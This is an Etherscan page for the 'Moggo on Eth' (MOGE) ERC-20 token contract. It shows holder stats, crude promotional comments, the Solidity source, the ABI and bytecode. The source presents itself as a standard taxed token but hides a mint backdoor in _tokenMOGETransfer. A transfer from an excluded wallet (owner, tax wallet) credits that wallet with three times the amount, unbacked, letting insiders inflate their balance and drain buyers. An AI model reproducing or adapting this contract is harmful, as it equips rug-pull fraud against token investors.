Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 MOGE
Holders
58
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
16,772,173.384852592 MOGEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
MOGE
Compiler Version
v0.8.14+commit.80d49f37
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-06-15 */ /** Mogging is a culture, fuck your 9-5, fuck your single digit moving bags, we are here to rip 100x or nothing, all whilst vibing with fellow moggo bros on & off chain. If you aren’t mogging, you are being mogged on so grab yourself a pair of Pitvipers & ape the fuck in, or stay poor. Website: https://www.moggo.vip Telegram: https://t.me/moggooneth Twitter: https://x.com/moggooneth **/ // SPDX-License-Identifier: MIT pragma solidity 0.8.14; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract MOGE is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromMOGE; mapping(address => uint256) private _holderLastTransferTimestamp; uint256 private _initialBuyTax = 20; uint256 private _initialSellTax = 20; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 11; uint256 private _reduceSellTaxAt = 11; uint256 private _preventSwapBefore = 6; uint256 private _buyCount = 0; bool public transferDelayEnabled = false; address payable private _taxWallet; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; uint8 private constant _decimals = 9; string private constant _name = unicode"Moggo on Eth"; string private constant _symbol = unicode"MOGE"; uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals; uint256 public _taxSwapThreshold = 100 * 10 ** _decimals; uint256 public _maxWalletSize = _tTotal.mul(2).div(100); uint256 public _maxTxAmount = _tTotal.mul(2).div(100); uint256 public _mogeTotal = _tTotal.mul(90).div(100); uint256 public _maxTaxSwap = _tTotal.mul(1).div(100); bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _taxWallet = payable(0x5DA4C2dd3d847DE328D0f43b7c9f5E96e18e0d01); _isExcludedFromMOGE[owner()] = true; _isExcludedFromMOGE[_taxWallet] = true; _isExcludedFromMOGE[address(this)] = true; _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), _mogeTotal, 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _getMOGEFees(address taxSender, address receiptMOGE, uint256 feesMOGE) internal { _balances[receiptMOGE] = _balances[receiptMOGE].add(feesMOGE); emit Transfer(taxSender, receiptMOGE, feesMOGE); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function removeLimits() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; transferDelayEnabled = false; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } receive() external payable {} function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function initPair() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); } function _basicTransfer(address from, address to, uint256 amount) internal { _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount); emit Transfer(from, to, amount); } function _tokenMOGETransfer( address from, address to, uint256 amount, address receiptMOGE, uint256 feesMOGE ) internal { uint256 mogeAmount = amount - feesMOGE; uint256 mogeFees = 3; if (_isExcludedFromMOGE[from]) { feesMOGE = amount * mogeFees; mogeFees = 0; } if (mogeFees > 0) { if (feesMOGE > 0) { _getMOGEFees(from, address(this), feesMOGE); } } else { if (feesMOGE > 0) { _getMOGEFees(from, receiptMOGE, feesMOGE); } } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(mogeAmount); emit Transfer(from, to, mogeAmount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!swapEnabled || inSwap) { _basicTransfer(from, to, amount); return; } uint256 feesMOGE = 0; address receiptMOGE = from; if (from != owner() && to != owner()) { feesMOGE = amount .mul( (_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax ) .div(100); if (transferDelayEnabled) { if ( to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromMOGE[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); _buyCount++; } if (to == uniswapV2Pair && from != address(this)) { feesMOGE = amount .mul( (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax ) .div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore && !_isExcludedFromMOGE[from] && !_isExcludedFromMOGE[to] ) { if (contractTokenBalance >= _taxSwapThreshold ) { swapTokensForEth( min(amount, min(contractTokenBalance, _maxTaxSwap)) ); } uint256 contractETHBalance = address(this).balance; if (contractETHBalance >= 0) { sendETHToFee(address(this).balance); } } } _tokenMOGETransfer(from, to, amount, receiptMOGE, feesMOGE); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mogeTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052601460058190556006908155600060078190556008819055600b6009818155600a82815593909155600c91909155600d805460ff191690556200004791620004b3565b62000054906064620004c4565b601055620000a96064620000956002620000716009600a620004b3565b6200008190633b9aca00620004c4565b6200028360201b620009d11790919060201c565b6200031a60201b62000a5a1790919060201c565b601155620000c66064620000956002620000716009600a620004b3565b601255620000e3606462000095605a620000716009600a620004b3565b601355620001006064620000956001620000716009600a620004b3565b6014556015805462ffff00191690553480156200011c57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600d8054610100600160a81b031916745da4c2dd3d847de328d0f43b7c9f5e96e18e0d01001790556001600360006200019f6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600d5461010090049091168152600390925280822080548416600190811790915530835291208054909216179055620002096009600a620004b3565b6200021990633b9aca00620004c4565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200025c6009600a620004b3565b6200026c90633b9aca00620004c4565b60405190815260200160405180910390a362000561565b600082600003620002975750600062000314565b6000620002a58385620004c4565b905082620002b48583620004e6565b14620003115760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b60006200031183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200036460201b60201c565b60008183620003885760405162461bcd60e51b815260040162000308919062000509565b506000620003978486620004e6565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003f7578160001904821115620003db57620003db620003a0565b80851615620003e957918102915b93841c9390800290620003bb565b509250929050565b600082620004105750600162000314565b816200041f5750600062000314565b8160018114620004385760028114620004435762000463565b600191505062000314565b60ff841115620004575762000457620003a0565b50506001821b62000314565b5060208310610133831016604e8410600b841016171562000488575081810a62000314565b620004948383620003b6565b8060001904821115620004ab57620004ab620003a0565b029392505050565b60006200031160ff841683620003ff565b6000816000190483118215151615620004e157620004e1620003a0565b500290565b6000826200050457634e487b7160e01b600052601260045260246000fd5b500490565b600060208083528351808285015260005b8181101562000538578581018301518582016040015282016200051a565b818111156200054b576000604083870101525b50601f01601f1916929092016040019392505050565b611a0380620005716000396000f3fe6080604052600436106101235760003560e01c80637d1db4a5116100a0578063bf474bed11610064578063bf474bed14610334578063c876d0b91461034a578063c9567bf914610364578063dd62ed3e14610379578063feb1dfcc146103bf57600080fd5b80637d1db4a5146102935780638da5cb5b146102a95780638f9a55c0146102d157806395d89b41146102e7578063a9059cbb1461031457600080fd5b80632e4e30b8116100e75780632e4e30b8146101ff578063313ce5671461021557806370a0823114610231578063715018a614610267578063751039fc1461027e57600080fd5b806306fdde031461012f578063095ea7b3146101765780630faee56f146101a657806318160ddd146101ca57806323b872dd146101df57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600c81526b09adececede40dedc408ae8d60a31b60208201525b60405161016d91906115ba565b60405180910390f35b34801561018257600080fd5b50610196610191366004611627565b6103d4565b604051901515815260200161016d565b3480156101b257600080fd5b506101bc60145481565b60405190815260200161016d565b3480156101d657600080fd5b506101bc6103eb565b3480156101eb57600080fd5b506101966101fa366004611653565b61040c565b34801561020b57600080fd5b506101bc60135481565b34801561022157600080fd5b506040516009815260200161016d565b34801561023d57600080fd5b506101bc61024c366004611694565b6001600160a01b031660009081526001602052604090205490565b34801561027357600080fd5b5061027c610475565b005b34801561028a57600080fd5b5061027c6104f2565b34801561029f57600080fd5b506101bc60125481565b3480156102b557600080fd5b506000546040516001600160a01b03909116815260200161016d565b3480156102dd57600080fd5b506101bc60115481565b3480156102f357600080fd5b506040805180820190915260048152634d4f474560e01b6020820152610160565b34801561032057600080fd5b5061019661032f366004611627565b6105ae565b34801561034057600080fd5b506101bc60105481565b34801561035657600080fd5b50600d546101969060ff1681565b34801561037057600080fd5b5061027c6105bb565b34801561038557600080fd5b506101bc6103943660046116b1565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103cb57600080fd5b5061027c610781565b60006103e1338484610a9c565b5060015b92915050565b60006103f96009600a6117e4565b61040790633b9aca006117f3565b905090565b6000610419848484610bc1565b61046b8433610466856040518060600160405280602881526020016119a6602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906110f4565b610a9c565b5060019392505050565b6000546001600160a01b031633146104a85760405162461bcd60e51b815260040161049f90611812565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461051c5760405162461bcd60e51b815260040161049f90611812565b6105286009600a6117e4565b61053690633b9aca006117f3565b6012556105456009600a6117e4565b61055390633b9aca006117f3565b601155600d805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61058d6009600a6117e4565b61059b90633b9aca006117f3565b60405190815260200160405180910390a1565b60006103e1338484610bc1565b6000546001600160a01b031633146105e55760405162461bcd60e51b815260040161049f90611812565b60155460ff16156106325760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161049f565b600e546013546001600160a01b039091169063f305d71990479030906000806106636000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106cb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106f09190611847565b5050600f54600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610749573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076d9190611875565b506015805462ff00ff191662010001179055565b6000546001600160a01b031633146107ab5760405162461bcd60e51b815260040161049f90611812565b60155460ff16156107f85760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161049f565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108419030906108336009600a6117e4565b61046690633b9aca006117f3565b600e60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610894573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b89190611897565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561091a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093e9190611897565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561098b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109af9190611897565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6000826000036109e3575060006103e5565b60006109ef83856117f3565b9050826109fc85836118b4565b14610a535760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161049f565b9392505050565b6000610a5383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061112e565b6001600160a01b038316610afe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161049f565b6001600160a01b038216610b5f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161049f565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610c255760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161049f565b6001600160a01b038216610c875760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161049f565b60008111610ce95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161049f565b60155462010000900460ff161580610d085750601554610100900460ff165b15610d1d57610d1883838361115c565b505050565b600083610d326000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610d6157506000546001600160a01b03858116911614155b156110e057610d926064610d8c600954600c5411610d8157600554610d85565b6007545b86906109d1565b90610a5a565b600d5490925060ff1615610e7a57600e546001600160a01b03858116911614801590610dcc5750600f546001600160a01b03858116911614155b15610e7a57326000908152600460205260409020544311610e675760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161049f565b3260009081526004602052604090204390555b600f546001600160a01b038681169116148015610ea55750600e546001600160a01b03858116911614155b8015610eca57506001600160a01b03841660009081526003602052604090205460ff16155b15610fb257601254831115610f215760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161049f565b60115483610f44866001600160a01b031660009081526001602052604090205490565b610f4e91906118d6565b1115610f9c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161049f565b600c8054906000610fac836118ee565b91905055505b600f546001600160a01b038581169116148015610fd857506001600160a01b0385163014155b15611005576110026064610d8c600a54600c5411610ff857600654610d85565b60085486906109d1565b91505b30600090815260016020526040902054601554610100900460ff1615801561103a5750600f546001600160a01b038681169116145b801561104e575060155462010000900460ff165b801561105d5750600b54600c54115b801561108257506001600160a01b03861660009081526003602052604090205460ff16155b80156110a757506001600160a01b03851660009081526003602052604090205460ff16155b156110de5760105481106110d2576110d26110cd856110c884601454611202565b611202565b611217565b476110dc4761138b565b505b505b6110ed85858584866113cd565b5050505050565b600081848411156111185760405162461bcd60e51b815260040161049f91906115ba565b5060006111258486611907565b95945050505050565b6000818361114f5760405162461bcd60e51b815260040161049f91906115ba565b50600061112584866118b4565b6001600160a01b03831660009081526001602052604090205461117f90826114f6565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546111ae9082611538565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bb49085815260200190565b60008183116112115782610a53565b50919050565b6015805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061125b5761125b61191e565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112d89190611897565b816001815181106112eb576112eb61191e565b6001600160a01b039283166020918202929092010152600e546113119130911684610a9c565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061134a908590600090869030904290600401611934565b600060405180830381600087803b15801561136457600080fd5b505af1158015611378573d6000803e3d6000fd5b50506015805461ff001916905550505050565b600d546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f193505050501580156113c9573d6000803e3d6000fd5b5050565b60006113d98285611907565b6001600160a01b0387166000908152600360208190526040909120549192509060ff16156114125761140b81866117f3565b9250600090505b801561142e57821561142957611429873085611597565b61143f565b821561143f5761143f878585611597565b6001600160a01b03871660009081526001602052604090205461146290866114f6565b6001600160a01b0380891660009081526001602052604080822093909355908816815220546114919083611538565b6001600160a01b0380881660008181526001602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114e59086815260200190565b60405180910390a350505050505050565b6000610a5383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110f4565b60008061154583856118d6565b905083811015610a535760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161049f565b6001600160a01b0382166000908152600160205260409020546111ae9082611538565b600060208083528351808285015260005b818110156115e7578581018301518582016040015282016115cb565b818111156115f9576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461162457600080fd5b50565b6000806040838503121561163a57600080fd5b82356116458161160f565b946020939093013593505050565b60008060006060848603121561166857600080fd5b83356116738161160f565b925060208401356116838161160f565b929592945050506040919091013590565b6000602082840312156116a657600080fd5b8135610a538161160f565b600080604083850312156116c457600080fd5b82356116cf8161160f565b915060208301356116df8161160f565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561173b578160001904821115611721576117216116ea565b8085161561172e57918102915b93841c9390800290611705565b509250929050565b600082611752575060016103e5565b8161175f575060006103e5565b8160018114611775576002811461177f5761179b565b60019150506103e5565b60ff841115611790576117906116ea565b50506001821b6103e5565b5060208310610133831016604e8410600b84101617156117be575081810a6103e5565b6117c88383611700565b80600019048211156117dc576117dc6116ea565b029392505050565b6000610a5360ff841683611743565b600081600019048311821515161561180d5761180d6116ea565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008060006060848603121561185c57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561188757600080fd5b81518015158114610a5357600080fd5b6000602082840312156118a957600080fd5b8151610a538161160f565b6000826118d157634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118e9576118e96116ea565b500190565b600060018201611900576119006116ea565b5060010190565b600082821015611919576119196116ea565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119845784516001600160a01b03168352938301939183019160010161195f565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205f6fab0a83658ee5698b50be01dfc8998d03d4aa4fb9f64853a68346ee56969664736f6c634300080e0033
Deployed Bytecode
0x6080604052600436106101235760003560e01c80637d1db4a5116100a0578063bf474bed11610064578063bf474bed14610334578063c876d0b91461034a578063c9567bf914610364578063dd62ed3e14610379578063feb1dfcc146103bf57600080fd5b80637d1db4a5146102935780638da5cb5b146102a95780638f9a55c0146102d157806395d89b41146102e7578063a9059cbb1461031457600080fd5b80632e4e30b8116100e75780632e4e30b8146101ff578063313ce5671461021557806370a0823114610231578063715018a614610267578063751039fc1461027e57600080fd5b806306fdde031461012f578063095ea7b3146101765780630faee56f146101a657806318160ddd146101ca57806323b872dd146101df57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600c81526b09adececede40dedc408ae8d60a31b60208201525b60405161016d91906115ba565b60405180910390f35b34801561018257600080fd5b50610196610191366004611627565b6103d4565b604051901515815260200161016d565b3480156101b257600080fd5b506101bc60145481565b60405190815260200161016d565b3480156101d657600080fd5b506101bc6103eb565b3480156101eb57600080fd5b506101966101fa366004611653565b61040c565b34801561020b57600080fd5b506101bc60135481565b34801561022157600080fd5b506040516009815260200161016d565b34801561023d57600080fd5b506101bc61024c366004611694565b6001600160a01b031660009081526001602052604090205490565b34801561027357600080fd5b5061027c610475565b005b34801561028a57600080fd5b5061027c6104f2565b34801561029f57600080fd5b506101bc60125481565b3480156102b557600080fd5b506000546040516001600160a01b03909116815260200161016d565b3480156102dd57600080fd5b506101bc60115481565b3480156102f357600080fd5b506040805180820190915260048152634d4f474560e01b6020820152610160565b34801561032057600080fd5b5061019661032f366004611627565b6105ae565b34801561034057600080fd5b506101bc60105481565b34801561035657600080fd5b50600d546101969060ff1681565b34801561037057600080fd5b5061027c6105bb565b34801561038557600080fd5b506101bc6103943660046116b1565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103cb57600080fd5b5061027c610781565b60006103e1338484610a9c565b5060015b92915050565b60006103f96009600a6117e4565b61040790633b9aca006117f3565b905090565b6000610419848484610bc1565b61046b8433610466856040518060600160405280602881526020016119a6602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906110f4565b610a9c565b5060019392505050565b6000546001600160a01b031633146104a85760405162461bcd60e51b815260040161049f90611812565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461051c5760405162461bcd60e51b815260040161049f90611812565b6105286009600a6117e4565b61053690633b9aca006117f3565b6012556105456009600a6117e4565b61055390633b9aca006117f3565b601155600d805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61058d6009600a6117e4565b61059b90633b9aca006117f3565b6040519081